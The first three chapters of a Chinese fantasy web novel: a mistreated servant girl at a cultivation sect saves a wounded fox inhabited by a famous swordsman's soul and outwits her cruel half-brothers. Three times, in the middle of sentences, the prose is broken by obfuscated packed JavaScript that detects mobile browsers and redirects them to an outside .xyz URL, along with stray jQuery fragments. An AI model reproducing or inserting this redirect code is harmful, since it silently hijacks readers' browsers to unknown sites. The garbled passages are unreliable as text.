《捡来的狐狸总想当我道侣》 1. 第 1 章 “小杂种!如今你翅膀硬了,我们说的话你也敢不听了?!” 不堪入耳的咒骂穿透密集的雨帘,失真扭曲地钻进冬青的耳朵,她冷着脸看着面前两位不速之客,抿紧嘴唇,一言不发。 暴雨如注,噼里啪啦炸响在青石地上,整座长生山都蒙上了一层青色的水雾。 下一刻,冷硬的石头带着十足的气力划破雨幕向她掷来,冬青急侧身却躲避不及,那石头狠狠砸中她的指骨,剧痛使她下意识松手,握着的长条扫帚啪嗒坠地,溅起几滴浑浊的泥点。 闻向舟和闻向度撑着两柄天青色的油纸伞,雨珠串线般不断从伞檐滑落,两人踱着步子走向浑身湿透、面色苍白的冬青。 “小杂种,像你这样毫无灵根的废物,紫荷师姐能大发慈悲让你在此扫地已是天大恩典,如今你骨头硬了,竟连兄长的话也敢违逆了吗?” 两人穿着仙人顶外门弟子的道服,顶着如出一辙的轻蔑嘴脸,睥睨着冬青。 闻向舟和闻向度二人,出身北诏名门炼丹世家闻家,父亲是大名鼎鼎的炼丹术士闻儒可。 冬青五岁时,被闻儒可领回闻家,那时他才知道,她是父亲养在外面的私生女,在她之前有两个哥哥,就是闻向舟和闻向度。 两人不准她冠闻姓,让她睡柴房干重活,日日以小杂种相称,闻儒可也默认此事,对外从来不提自己还有一个女儿,两兄弟便更加肆无忌惮、变本加厉。 两年前,修真界第二大宗门仙人顶招外门弟子,闻向舟和闻向度考入其中,冬青也算是过了一年多的清净日子。 直到前不久,她上长生山摘药时误入仙人顶,被守山弟子当场擒下,正逢在外游历的紫荷师姐回山,将冬青救下,给了她仙人顶的腰牌,允她在自己院落中做个扫地的杂役。 “近日紫荷师姐不在,没人护得了你。”闻向舟笑得不怀好意,“去,给哥哥们买只鸡来。” 满脑荤油的猪头。冬青心底暗骂。 她垂眸瞥了眼瞬间变得青肿的指骨,语气平淡,毫无波动,“宗门忌荤七日的时限未过。” “今日已是第六日。”闻向度手指一动,一股尖锐真气如针袭向她膝下。 左膝传来刺痛,冬青身形一晃,噗通一声单膝重重跪进泥坑里。 “你若不去,”闻向度压低声音,带着威胁,“我便将你偷门主草药的事捅出去,届时你一介低贱杂役,你说门主会如何处置你?” 冬青单膝跪在泥水里,用没受伤的手背狠狠抹了一把脸上的水,她撑着湿滑的地面站起身,一双被水洗的黑亮的眼睛盯向闻向度,“我去就是。” “这才像话。”闻向舟和闻向度两人斜睇她一眼,转身施施然离去。 雨势愈发滂沱,院中青石砖上蒸腾起白茫茫的水烟,花圃里娇嫩的花苞被雨打的蔫头搭脑,花瓣零落遍地。 冬青默默给紫荷师姐最宝贝的花圃支上雨棚,进屋取了破旧的蓑衣披在身上。 她折了根木棍当手杖,深一脚浅一脚地走在湿滑泥泞的山道上,雨水顺着她削瘦的手臂划进衣袖,衣摆很快溅上污泥。 下山买鸡是不可能的,她哪里来的钱买鸡。 别看闻家富的流油,却不曾有一分钱到过她手里。 冬青立在原地,雨水顺着额发流下,她望向不远处一座烟雨迷蒙的小山,犹豫再三还是调转方向向着那座山而去。 平野山毗邻长生山,在长生山这座参天巨岳旁边显得瘦小且可怜,两者相比而言,平野山顶多能算作一个小土丘。 可别看土丘虽小,冬青自被带回闻家至今还能活着喘气,便是多亏了这座小山。 冬青轻车熟路的从小径上山,方才的木棍已经断折了,她又随手折了根更粗壮的攥在手里。 雨势太大,冬青本就浑身湿透,索性脱了那聊胜于无的破烂蓑衣,只留了一顶斗笠勉强挡一挡扑面而来的冰冷雨水。 忽然,一帘帘雨幕外,一团暗红色的影子匐在地上,被雨打落叶遮了个七七八八。 冬青撑着木棍上前,她蹲下身,用手扒掉层层叠叠的、湿漉漉的落叶,一只皮毛似火的狐狸赫然躺在泥水里。 她似有所察,抬起了刚才扫开落叶的手。 满手泥泞中,掌心染着刺目的鲜红,雨水冲刷下来,红色的血水便混着泥浆,顺着她伶仃的腕骨蜿蜒滑落。 它受伤了! 冬青把木棍一扔,双手小心翼翼地抱起那一团狐狸裹在蓑衣里。 掌心传来微弱的跳动。 还活着! 冬青连忙将它护在怀中起身,雨水模糊了崎岖的山路,她看着顺着山势汩汩而下的浑浊雨水,又低头看了看自己怀里奄奄一息的狐狸,不由得迟疑了一瞬。 她并非修真之人,无法判断这只狐狸是单纯的野兽,抑或是……妖。 在这个人妖势同水火的世界,若她贸然抱了一只妖回宗门,不仅这只狐狸活不成,她也会被打死的。 不过它伤的这么重,即便是只妖,怕也是妖气尽失吧? 只迟疑了一瞬,冬青迈开步子大步流星向下山去。 带回去是福是祸,也得先让它活下来再说。 夜幕低垂,狂风卷着冰凉的雨丝抽在人的身上,满目青黑中,冬青终于看见了在风雨中剧烈摇曳的长明灯。 “冬青,这么大雨,你去哪了?”守山弟子已和冬青混了个脸熟,他飞快的掐了个火字诀,一簇小火苗“卒”的一声在他指尖跃动起来。 暖橙色的火苗外面裹了一层圆润的光晕,火苗稳稳向上,在狂风暴雨中岿然不动,那光晕将风雨隔绝在外面,暖融融的照亮了一方小天地。 守山弟子将火苗交给冬青,嘱咐她去把紫荷师姐院子里的荷花灯点亮。 冬青腾出一只手接过火苗,温热的暖流源源不断地从掌心传来,稍稍驱散了她被雨水浸透的刺股寒意。 她道了声谢,踩着青石长阶向半山腰跑去。 起码守山弟子没有察觉到妖气,冬青心下稍安,她紧了紧怀中蓑衣,加快了脚步。 穿过一线洞天与修心池,一座清雅幽静的院落掩映于沙沙作响的竹林中。 冬青头也不回的将掌中火苗向篱笆一甩,篱笆上莲花形状的小灯便从院门开始向两侧一盏一盏次第点亮,晕开一片朦胧的暖光。 她拔腿跑到后院药架子上,却见止血的伤药已经被她用光,其余跌打损伤的丸药,也被她前些日子拿去救平野山的那个老头。 怀中狐狸的呼吸似乎愈发微弱下去,冬青焦急的转了两圈,猛一咬牙,忽然像下定了什么决心一般把它往角落茂密的杂草里一埋,起身奔出院落。 雨幕茫茫,清瘦的身影跑出两步忽然停下,紧接着折返回来,手忙脚乱地在杂草里扒拉出那只狐狸,用蓑衣包好,转身又跑入雨幕。 小时候冬青吃不饱穿不暖,饿了就偷闻府厨房里剩下的硬馒头,受伤了不敢偷现成的丹药,就偷闻儒可炼丹剩下的边角药渣。 偷鸡摸狗的事做惯了,就连接下来要去偷门主的草药,心里竟也生不出什么波澜。 再者也不是第一回了。 冬青又沿着山道往上爬了一段,斋舍内,修行的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362847|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子正在念习心法。 忽然一阵凉风掠过,檐角的书灯被风扯的摇晃扬焰,暖黄的光晕有一瞬扫在了冬青身上,她连忙蹲下,脊背抵住藩篱。 心动如擂鼓,待到风渐息,冬青弯着腰,绕过斋舍,来到门主的住处。 匾额上,逍遥阁三个大字如龙蛇飞舞,一笔一画都像要冲出这四方束缚一般,虬劲有力。 只不过冬青无暇欣赏,她拎起湿透沉重的衣摆,踮起脚,悄声从打瞌睡的门童边溜进去,随后攥着衣摆的手一松,她贴着墙根拔腿狂奔起来。 门主逍遥老儿是仙人顶三个门主中最神出鬼没的一个,正巧近日他不在,所以逍遥阁内几乎没有弟子和侍者。 冬青轻车熟路的摸到放置丹药的地方,从一个青色的小瓷瓶里飞快倒出一颗丹药攥在手里,随后将其放回原处。 她又抓了一把止血化瘀的草药塞进衣襟,仔细抹净青砖上零星溅落的水渍后蹑手蹑脚地溜了出去。 雨总算小了一些,冬青寻了处僻静密林,小心翼翼的掀开蓑衣,她伸手探去,指尖触到温热的皮毛和微弱的起伏,顿时松了口气。 还活着。 她不敢耽搁,连忙撬开狐狸紧闭的齿关,将手中紧攥的丹药塞进它嘴里。 因为攥的太紧,丹药被冬青掌中的雨水和汗水浸湿,在她掌心留下了一圈褐色的药渍。 秉持着天地精华不能浪费的念头,冬青捡起一片看上去还算干净的树叶,将药渍刮下来,一点不剩地送进狐狸的微张的嘴里。 正当她做完这一切,松了口气,准备回去的时候,忽然发现她面前投下了两个人影。 她浑身猛的一震,缓缓回头看去。 闻向度和闻向舟不知何时已站在她身后,双臂抱胸,两张面孔隐于树冠投下的浓重阴影里,像戴了一层黑色的面具。 她几乎本能的迅速将狐狸拉到自己身后,整个人紧绷着,这是一种戒备到极致的姿态。 “小杂种,”闻向度阴恻恻地开口,“让你买的鸡呢?” “雨下太大,山下的铺子都关门了。”冬青紧着嗓子开口。 “你身后藏了什么?”闻向舟看到蓑衣下红色的一角,伸手去扳冬青的肩膀,不料一时却没扳动。 “好啊,你竟然带了只小畜生上山!”闻向度不知何时绕到她身后,魔爪伸向那只奄奄一息的狐狸。 冬青不知哪来的惊人力气,她一把推开闻向舟,同时转身对着闻向度拽着狐狸尾巴的手一口咬下。 闻向度冷不丁被咬了个正着,痛的龇牙咧嘴的抽气。冬青找准这个电光火石的空隙,抱起狐狸撒腿就跑。 然而没跑出两步,便被一根破土而出的藤蔓拽住了脚踝,她身体骤然失衡,重重摔倒在地。 闻向度捂着流血的手,一步步逼近,他咬牙切齿道,“小杂种,胆子肥了啊,为了一只畜生,敢咬我?!” 冬青知道自己跑不过一阵毒打,索性把狐狸死死护在自己身下,拳头如雨砸下,带着恨意与羞辱,一声一声沉闷地砸在冬青单薄瘦弱的脊背,她死死咬住唇,将痛呼咽进肚子里。 突然,眼前白光大盛,刺目的白光让冬青下意识闭眼,待眼前渐渐暗下去,她惊觉该落在自己身上的拳头没有如期而至。 她猝然回头,只见闻向舟和闻向度捂肋仰面倒在十米开外的地上,表情扭曲狰狞,似乎是痛的在泥水里打滚。 冬青一脸疑惑,下意识低头看向怀里的狐狸。 小家伙似乎比刚才更加虚弱,安静的躺在她怀里,但掌心传来的跳动,似乎逐渐有力了起来。 2. 第 2 章 池南是被苦醒的。 身上传来剧痛,眼前是层层叠叠的蓑草,水珠从蓑草尖滴落下来,触感冰凉,透过蓑草的缝隙便瞧见一张苍白的脸,是个姑娘的脸。 她眉头紧锁,双眼紧闭,死死咬着嘴唇,殷红的血珠从她齿关渗出,染红了苍白的唇。 池南听到外面淅淅沥沥雨声,和一下一下沉闷的响声。 他思绪似乎飘在云上一般,搞不清眼前处境。 鼻尖还残留着浓重的妖血味,他不是在白晓城守城吗?给师父传的信到了吗?援兵呢? 忽然他听到一声很轻的压抑的闷哼,似乎是从他上面的姑娘喉咙里传来的。 从那姑娘的单薄颤抖肩膀上望去,他看见两张扭曲的脸。 啧,好丑。 他好似有些明白过来,这姑娘在保护他。 两个大男人打一个姑娘,真不要脸。 池南蓄了蓄力,一股强势而短促的真气迸发出来。 等等,这怎么好像不是他的身体…… 还没等他咂摸出个所以然,便眼前一黑,力竭陷入了沉睡。 冬青偏头啐了一口血沫,一手捞起狐狸,一手撑地踉跄起身,她抬手抹去唇角血迹,走到地上那两个哀嚎的身影前,居高临下地睥睨着他们。 闻向舟撑起身子,啐出一口血沫,“你怎么可能会有真气?!” 他神情扭曲,脸上分明写满了荒谬,一个灵根都没有的废物,怎么可能有如此强大的真气? 闻向度大嚷道,“肯定是她怀里那只畜生!那狐狸是妖!” 冬青摸了摸狐狸脑袋,她短促的笑了一声,轻蔑地如对跳梁小丑,“妖怎么可能有真气。” 是啊,妖气与真气,泾渭分明,这是修真之人共有的常识…… 闻向度掌心发麻,额角不知是雨水还是汗水顺着脸颊淌下,他嘴唇翕动,“你……” 冬青冷笑一声,背过身,侧头斜睇着二人,她染血的唇轻轻吐出一个清晰无比的字。 “滚。” 雨停了,竹林小院里点点水洼倒映着通明的灯火,凉风吹皱水面,灯火在水中晃动成颤抖的金线。 冬青撑着一口气回到院落里,顾不上石凳上的水,她一屁股坐在上面,用袖子胡乱吸了吸石桌上的水,将狐狸轻轻放在了上面。 她从怀里掏出皱皱巴巴的一团草药,丢进石臼,三两下捣烂,随后剪下一点纱布蘸取药汁,缠在了狐狸受伤的位置。 她看向剩下的草药,心道留着也是留着,物尽其用也不算浪费,于是用手指碾成草沫,在高高肿起的指骨上涂抹了一些汁水,药渣铺在上面,再用纱布包了个漂亮的结。 檐下灯火明亮,冬青抬起左手,光线从指缝中穿过,她静静看着自己打的堪称完美的结。 “没有修真天赋又怎样,我若是废物,那天下十之八九的人,都是废物。” 话掷地有声,像在说服别人,更像在敲打自己,可心里那点被强行镇压的、隐秘的不甘,却如同活物,正一拱一拱地试图从她为自己浇筑的铜墙铁壁中破壁而出。 曾经有人不少人劝过她,笑一笑,低低头,日子便不会过得那么艰难。 可她不愿,她又不是一条摇尾乞怜的狗。 冬青就这样在最没有自尊可言的环境里里,硬生生拔节出一身嶙峋倔硬的骨头,撑起她敏感又可笑的自尊心。 而维护那点脆弱自尊心的有力手段,便是三缄其口。慢慢地少说、不说,直到对外界的诘问便尽数转变成对自己的叩问。 当唇舌不再,心湖便成了千言万语的渊薮,从前的冬青还会自言自语,现在她已经学会在心里消化所有的情绪了。 所幸,她还有一点本事,并不是一无长处。 冬青如此安慰着自己,觉得心里畅快了一些,一身伤痛好似也没那么锥心刺骨了。 她拄着下巴看向桌上昏迷不醒的狐狸,那道刺目的白光想必就是这狐狸发出来的了,可是一只狐狸身上怎么可能有真气呢? “小家伙,”她指尖轻轻拂过它头顶柔软的绒毛,“你到底是何方神圣?” 夜雨又悄然落下,冬青不再多想,抱起狐狸,去偏房睡觉去了。 竹林小院熄了灯,华堂里却吵翻了天。 闻向舟和闻向度二人睡到一半,忽觉身上瘙痒难耐,点灯一看,身上竟起满了又红又大的肿泡,不碰则痒,碰了更痒。 吓得两人一路哭爹喊娘找仙人顶的丹修长老,得了一句“沾了豆谷花粉,痒满三天肿泡自退”后,被炼丹炉熏得黢黑的长老打回。 闻向舟不停挠着,咬牙切齿道,“那老头就是不想给我们丹药!” 闻向度也不停左挠挠右挠挠,两人边走边挠,活像两只站起来的毛虫,惹得路过弟子一路频频侧目,掩唇嘲笑。 两人低下头加快脚步,恨不得找个地缝钻进去,“我们最近没碰豆谷花,怎么可能因为豆谷花粉过敏?” 忽然,两人不约而同驻足对视,脱口而出: “冬青!” 闻向度和闻向舟如何水深火热,冬青压根儿懒得去想,她只要知道两人此刻过的定然不爽,便能睡个酣畅无梦的好觉。 冬青第二天醒来的时候,雨已经停了,檐角传音铃叮叮咚咚的响,残存的雨珠顺着瓦片滴答流下,她推开门,一股带着竹叶清香的晨风拂过,忍不住舒展了一下酸痛的筋骨。 回头望去,昨夜安放在摇椅上的狐狸却不知所踪,唯余一张蓝色的软垫静静躺在椅座上,上面还残留着几根红色的狐狸毛。 她找出门去,那只红狐就站在石桌上,看着小院的门牌。 “就叫你小红好了。”冬青走过去,自然地伸手把它抱起来。 池南:“……” 什么小红,他堂堂折云宗大师兄,行不更名,坐不改姓,池南是也! 冬青顺着他的目光看去,竹居两个字刻在门匾上,旁边还刻了仙人顶的宗门徽记。 “那是仙人顶,修真界第二大宗门,”她轻声道,“这竹居是桑善道人门下紫荷师姐的院落。” 她摸了摸狐狸头顶柔软的毛发,“可惜我只是个扫地的,不能带你到处转转。” 想来它一只小兽也听不懂这些。 冬青摇了摇头,把它放在石桌上,全然没注意到狐狸的目光紧盯着仙人顶的标识,神色凝重。 没想到竟然来了仙人顶吗。 池南环视一圈,终于接受了自己元神离体,附着在一只将死的狐狸精身上的诡异事实。 他本是天下第一宗折云宗弗如仙师门下大弟子,十岁从沉剑渊中拔出上古宝剑无相剑,十七岁破剑道九重天境界,成为天下最年轻的剑道第一人。 前些日子他奉师父之命下山到南氏国的望月谷送信,结果在途径白晓城时遭妖族屠城,他拼死抵御,传信于望月谷、折云宗和同门师弟燕明光,还未等到援军便重伤。 再睁眼时……池南看向院中扫地的青色身影,就是这姑娘的脸了。 不知道白晓城现在怎么样了。 这具狐狸躯体本重伤濒死,正巧容纳了他受损的元神,只不过受限于元神损伤和妖身的桎梏,短时间内难以元神归位,只能暂栖于这副躯壳中。 池南的视线落在冬青的左手上,指骨缠着一层薄薄的纱布,隐约可见高肿的形状。 一阵风过,竹林沙沙作响,那道瘦削的身影忽然动了起来。 她双手握着扫帚,足下微错,学着记忆里仙人顶弟子的练习剑法的起手式,借风打力。 虽显生涩,但对这套动作力量流转的模仿却意外地标准。 风将零落的花瓣高高卷起,粉嫩的花瓣随风划过冬青眼前时,她忽然伸出双指夹住花瓣,借着风势,手腕微动,将花瓣用力向前掷去。 那一点可怜的粉在空中无力的飘摇了几下,随后软绵绵的落到地上。 冬青似乎习惯了一般,伸出扫帚将那片花瓣同其他将花瓣扫到一堆。 然而,石桌上的池南却微微睁大了眼睛。 天下术士多如过江之鲫,但大多可分为五类,分别是剑修、丹修、符修、阵修、器修,除了这五类,便是他从未亲眼见过的,御物者。 传说御物者到达一定境界后,讲究顺应天地之势,万物皆可为其所用。届时术士们赖以生存的法器在其眼中便如累赘之物,一花一草,一叶一水皆可作为他们的法器。 多少术士皓首穷经,亦步亦趋地修炼功法招式,却终其一生难悟其背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362848|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后蕴含的天地真理。 而面前这个没有灵根的小姑娘,却隐隐触及了令无数术士究极一生去追寻的道理。 池南看向她脚边的一地花瓣,有些惋惜,倘若她有真气,此刻那片花瓣或许就应该钉在百步开外的竹竿上。 冬青行云流水的扫净庭院、浇灌花圃、收了一些成熟的灵药后拿着一些小瓷瓶和一叠纱布向他走来。 瓷瓶叮叮当当的落在石桌上,冬青向他伸出手,似乎是想把他抱到腿上。 看清她动作的池南蹭的一下站起,正欲跳走,后腿处突然传来钻心的剧痛,他腿一软,颇为狼狈地瘫倒在石桌上。 可恶,占据了这狐狸的身体,竟连这具身体受的伤也一并继承了吗! 池南偃旗息鼓,认命地被冬青拎着脖颈皮毛抱到腿上。 姑娘冰凉的指尖触及后颈温暖的毛发,沾着水珠的冰凉触感,使池南不由自主地浑身一震。 这种感觉奇妙又诡异,明明是这句狐狸躯体的触感,却仿佛真有一滴冰水,沿着在自己真身后颈滑落,池南毫不怀疑,如果他的真身在场,此时定然起了一身的鸡皮疙瘩。 他正欲开口,话到嘴边却被他硬生生咽回肚子里。 他若开口,定然会被认作一只妖。池南看向认真包扎的姑娘,心里犯起嘀咕,虽然这姑娘救了他不假,但若知道他是妖,保不齐会把他原地五花大绑交给仙人顶,届时就算他有一条三寸不烂之舌怕也是说不清。 池南决定先不开口,观望两天再说。 包扎完毕,他正欲挣脱这尴尬的姿势起身,视线却无意间扫过面前少女微微低垂的颈侧,随着她的动作,粗布衣领下方青青紫紫的淤痕若隐若现。 池南回想起昨日她咬牙忍受毒打的模样。 她是因为他才受此无妄之灾,池南心头一凛,正色起来,救命之恩不得不报,他从冬青腿上跳了下去,三两步窜出门外。 冬青起身,看着一溜烟跑走的红色身影,神色诧异。 华堂。 仙人顶的外门弟子每日都有修习早课,其余弟子都已经穿好练功服,拿上课本与法器准备出门了,闻向舟和闻向度两兄弟还如烂泥一般躺在床上,两兄弟昨晚一整晚都没合眼,身上早已肿的不像话,红肿的泡被两人挠破,痒已经感觉不到了,现在是针扎一般的疼。 两人眼底乌青,脑袋肿的亲娘都未必能认得出来,生无可恋的仰面朝天。 池南扒在窗沿,无声的笑了一下。 豆谷花过敏?没想到,那小姑娘还挺有手段。 “闻老大,闻老二!”与两人同屋的弟子扒着门框,毫不掩饰脸上的幸灾乐祸,“今日早课是石灵老太的,可别怪兄弟我没提醒你,不过……”他拖长调子,打量了一下两人的惨状,“就算去了,以你们二人现在的样子,怕是石灵老太也认不出来了。” 石灵仙师是仙人顶最不近人情的一位仙师,凡是她的课,不得以任何理由迟到早退缺勤瞌睡,否则一律抄宗规跪宗堂。由于其长得一脸尖酸刻薄、满头白发,于是仙人顶的弟子私下里都称她为“石灵老太”。 “你!”闻氏兄弟咬牙切齿的想抬起脑袋,却牵动伤口,疼的龇牙咧嘴。 “走喽!”那弟子无所谓的耸了耸肩,转身与其他弟子一同上早课去了。 闻氏兄弟对视一眼,互相搀扶着坐起身来,“冬青这个小杂种,等爷爷好了看我怎么收拾她!” 闻向度肿胀的手指费力的拉着衣袖,他“呸”了一声,咒骂道:“一个外室生的小杂种,爹怎么不干脆一刀结果了她,带她回家尽给我们添堵!” 正欲离开的池南脚步倏然一顿,他耳朵敏锐的捕捉到“小杂种”、“外室”两个刺耳的词。 冬青是闻家的私生女? 他悄无声息放出一丝真气,钻入闻向舟和闻向度的衣袖,那缕真气在两人体内游走,潜入经脉,轻而易举的探到灵根处。 还算不错,论资质来说,闻家兄弟绝对算得上中等偏上。 既然是闻儒可的孩子,即便母亲是个没有灵根的凡人,生出来的孩子也不应该没有灵根,真气全无啊。 池南心中疑窦骤生。 那么,为何他在冬青身上察觉不到一点真气呢? 3. 第 3 章 与池南一同蹲墙角的,还有冬青。 她在池南对面的窗檐阴影下,耐心等闻家兄弟磨磨蹭蹭穿好了衣服,毛虫一样蛄蛹出门后,悄无声息的潜入屋内。 屋内陈设清雅风流,檀木案上放着上好的文房四宝,点着不知名的但一看就价值不菲的熏香,树影从窗棂投下,翠绿的光影在青砖上流转。 冬青嗤笑一声,她那两个好哥哥惯会给自己打造风流公子哥的形象。 她轻车熟路的打开柜子,翻出两兄弟满满一箱的上好丹药,也不管都是什么种类,一股脑搜刮了个干净,又把刚从膳房顺来的啃剩的鸡骨架扔到里面。 池南看的心惊肉跳,她面不改色地做完这一切,还顺便扯过两兄弟干净的弟子服擦了擦手,潇洒的扬长而去。 蔫坏。 池南跳下窗沿,三两步跟上。 “小红?”冬青注意到身后的红影,附身想抓着后颈提溜起来放在自己肩上,“走吧。” 池南此时顾不上这有损形象的破名字了,他毛都要炸开了,扒着人姑娘肩膀像话什么,他连忙跳下来,固执地跟在她脚边。 冬青低头瞥了他一眼,“还挺生分。” 山风清朗,轻轻拂动她耳后天青色的发带,少女步履轻快的穿行于树林中,她水洗一般黑亮的眼睛倒映着山林的颜色,洗的发白的宽大衣衫随风轻轻晃动,显的人身姿单薄却挺拔如竹。 冬青沿着山道登上平野山,山间清冽溪流从她脚边汩汩流淌,如一条条嫩绿的缎带蜿蜒着飘下山去。 行至半山,面前豁然开朗,那里立着一个破旧的小亭子,小亭子里盘腿坐着一个老头,白发束起,用一根木棍固定,身上穿的破破烂烂的,宽大的衣袖盖住了他皮包骨的身躯,只露出一截枯树皮似的伶仃细颈,叫人觉得一阵风都能将其吹折。 “老道长?”冬青也没料到还能见到他,脸上终于浮现出一丝极淡的笑意,她快步走上前,从袖袋中拿出闻氏兄弟的瓷瓶丹药往前送了送。 “小冬青,这是哪来的啊?”老头抬起眼皮,笑眯眯的问道。 “我偷的。”冬青面不改色,“坏人的。” 老头仰头长笑了两声,伸手把丹药推了回去,“上次你赠我丹药,我已经好了,用不上你这些丹药啦。” “一颗丹药就能好?”冬青坐在他对面长木上,身后是崇山峻岭,由浅及深的青层层叠叠的堆在一起,日影从她身后洒下,在地面投下她的剪影。 老头仰起小细脖子,“我说过,我是仙师,仙师好得自然快些。” “你?”冬青也学着他盘腿坐在长木上,好笑道,“那你怎么不去大宗门?” 池南跳到她手边的长木上,从他的角度看去,冬青肩颈放松,细长的天青发带轻轻搭在肩头,刺眼的日影模糊了她的脸庞,虽看不清神色如何,但池南能感觉到她此刻没有在长生山那般紧绷。 老头视线短促的落在火红的狐狸身上,继而重新看向冬青,“我这不是在等你?” “等我?”冬青不解,“等我做甚?” “我同你说过,我是仙师,我要去四海云游的。”老头从怀里掏出一本泛黄破旧的册子,递给冬青,“我要走了,你也算是我的第一个忘年交,这是送给小冬青你的,算是你赠我丹药的谢礼。” “送你两颗丹药就是忘年交了?老道长,你可真肤浅。”冬青狐疑地接过,却没翻开,语气里的轻快淡了些,她问道,“你要走了?” “不然我一直在这小小的平野山待着?”老头对冬青稍显刻薄的说辞毫无恼意,屈指轻轻在她额头弹了一下,“那岂不是委屈了我这个仙师?” 冬青“嗯”了一声,低头揉搓着页角,细小的纸屑从指腹间簌簌掉落。 老头伸出干燥温暖的手掌,轻轻拍了拍冬青的发顶,“小冬青,人与人相聚,是缘分。你我缘分未尽,还会再见的。” 冬青抬起头来,一双黑亮的眼看着笑眯眯的老头,“真的?” “真的,”老头点点头,“不骗你。” 冬青靠在亭柱上,影子由短变长,又由长变短,直至消失不见。 她没有多余的表情,沉静的坐在那里,瞧不出是悲是喜。 也不知道是不是因为动物对人的变化更为敏感,池南借着这副狐狸身躯坐在她旁边,却能感觉到她淡淡的低落。 他鬼使神差的,用尾巴尖轻轻扫了一下冬青的手背。 冬青低下头,忽然想起什么似的从袖袋中拿出一个瓷瓶,倒了一颗丹药在手心中递到他面前。 “这是疗伤滋补的好药。” 池南看了她一眼,默默吞下丹药。 “你饿了吧。”冬青站起身,拍了拍衣袍,“走吧,我们回去。” 竹居静谧,隐于一片翠绿中,待冬青回去时,篱笆已不知被谁点上了灯,暖黄的光晕渗透到周围的漆黑中,檐角风铃脆响,泠泠入耳。 她本以为是守山弟子点的灯,却在推门而入时在窗纸上看见了一抹熟悉的剪影。 紫荷不知道什么时候回来了,她抱着些法器从屋内掀帘走出,一抬眼,瞧见了站在院落中央的冬青,她面上浮出些温柔笑意,“小冬青。” “紫荷师姐。”冬青应了一声,上前自然接过她手里的一些重物。 法器五花八门,炼丹铜炉、各色符箓……冬青这些日子耳濡目染,也认得一二。 紫荷走在她前面,见她似有好奇之色却并不多问,于是主动解释道,“桑善道人在南氏捉妖,命我取些法器带去,师父门下还有些没取,正巧你在,随我一起去吧。” 冬青点点头,将小件法器放到最大的炼丹鼎中,双手提着鼎耳,跟在紫荷身后。笨重的炼丹鼎挡住了她大半个身子,向后看去好像一只黝黑笨重的鼎凌空漂移。 紫荷不由得轻笑了一声,伸手掐了个诀。 手上的压力忽然消失,冬青踉跄了一下。只见各色法器倏然腾空而起,连成一长串飘在紫荷身后,场面一度诡异起来。 法器长龙一路飘到华堂前面,突然一声直冲云霄的尖叫窜出屋顶,紫荷一个激灵,法器在空中骤然僵住,随后稀里哗啦的掉在地上。 紫荷看向身后狼藉,柳眉倒竖,仰首向屋内骂了一嗓子。 “鬼叫什么?!” 这一嗓子惊天震地,树林里的鸟雀飞禽扑棱棱四散飞逃。 四周突然寂静无声,连风都不敢冒出一点声音似的,恰合时宜地停了下来。 紫荷大步流星的闯进华堂,砰地一声推开屋门。 她双手掐腰杵在门口,叱道,“叫什么呢?宗门弟子不得大吵大叫,门规都吃进肚子里去了吗?” 屋内几人包括闻氏兄弟在内双手恭敬的交叠在身前,噤若寒蝉。 “紫荷师姐!”一名弟子拱手行礼,他往旁边挪了一步,露出身后案桌上一副爬满蝇虫的鸡骨架,一脸愤慨地解释道,“我方才修习完剑术,准备回华堂沐浴更衣,结果一打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362849|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开柜子,就有一股难掩的臭味。” 他瞪了闻氏兄弟一眼,一手用力向后一指,“结果在闻老大和闻老二的箱子里发现了已经生蝇的鸡骨架!” 紫荷眼神如刀子一般从鸡骨架扫到闻氏兄弟身上,“我记得宗门忌荤腥的七日,刚过吧?” “师姐!我们冤枉啊!这鸡骨头不是我俩的!”闻向舟急道,“这原是我们俩放丹药的箱子!” “闻老二,你撒谎也不打草稿?分明就是你们二人偷吃荤腥不想被发现,藏起来又捂馊了,害得大家的衣物都被你们弄臭了!”刚才那弟子指着闻向舟鼻子骂道,他嫌恶地上下打量他们一番,呸了一声,“好吃懒做的馋鬼胚子!” “你!”闻向度又说,“那我们一整箱的丹药去哪了?总不能为了一只鸡扔了那么多上好丹药吧!” 这话倒是问住了众人,大家你看看我我看看你,都没有在屋子内发现丹药的痕迹。 闻向度得意的扬起了嘴角,“叫啊?怎么不叫了?” “你!”那弟子抽出腰间木剑,剑拔弩张之际,一个平直又清泠的声音从堂后传来,声音不大,但足够在场所有人都能听清。 “丹药在这儿。” 闻向舟和闻向度惊愕对视一眼,扒开众人夺门而出。 皎洁月光下,天青色的身影长身玉立,冬青站在一颗松树旁,手里拿着一把沾着泥土的锄头。 她指向树根,那里豁然有一个刚被挖出来的洞,洞里是各色丹药瓷瓶,围观过来的弟子都见过,那就是闻氏兄弟的丹药。 